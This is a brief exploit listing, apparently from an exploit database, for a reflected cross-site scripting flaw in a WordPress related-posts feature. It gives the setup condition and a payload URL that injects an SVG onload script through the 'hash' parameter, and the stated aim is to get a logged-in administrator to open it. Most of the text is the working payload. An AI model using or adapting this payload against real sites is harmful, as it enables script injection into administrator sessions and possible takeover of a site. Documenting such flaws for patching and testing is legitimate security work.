## https://sploitus.com/exploit?id=WPEX-ID:CF323F72-8374-40FE-9E2E-810E46DE1EC8
On a post/page where containing the following output (which can be as txt in the post content): "id":""customThumbnail":"", make a logged in admin open the URL below:
https://example.com/related-page-post/?hash=*(?:'><svg%20onload=alert(`XSS`)>)*